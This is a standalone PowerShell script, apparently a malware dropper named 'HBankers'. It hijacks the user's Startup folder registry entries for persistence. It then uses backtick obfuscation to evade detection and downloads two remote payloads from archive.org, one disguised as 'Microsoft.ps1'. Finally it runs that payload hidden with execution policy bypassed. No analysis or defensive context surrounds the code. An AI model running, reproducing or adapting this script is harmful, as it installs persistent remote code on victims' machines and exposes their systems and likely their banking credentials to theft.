[system.io.directory]::CreateDirectory("C:\Users\Public\Run")
start-sleep -s 5
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "C:\Users\Public\Run";
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" -Name "Startup" -Value "C:\Users\Public\Run";
start-sleep -s 5
Function HBankers
{



start-sleep -s 5

if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://ia801400.us.archive.org/0/items/bat02/bat02.txt','C:\Users\Public\Run\Run.bat')){
}
start-sleep -s 5
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://ia601400.us.archive.org/12/items/fa4d3c78-5744-460a-873b-c8a4f866c972/fa4d3c78-5744-460a-873b-c8a4f866c972.txt', 'C:\Users\Public\ Microsoft.ps1')){
}
start-sleep -s 7
powershell -windo 1 -noexit -exec bypass -file "C:\Users\Public\ Microsoft.ps1"
}
IEX HBankers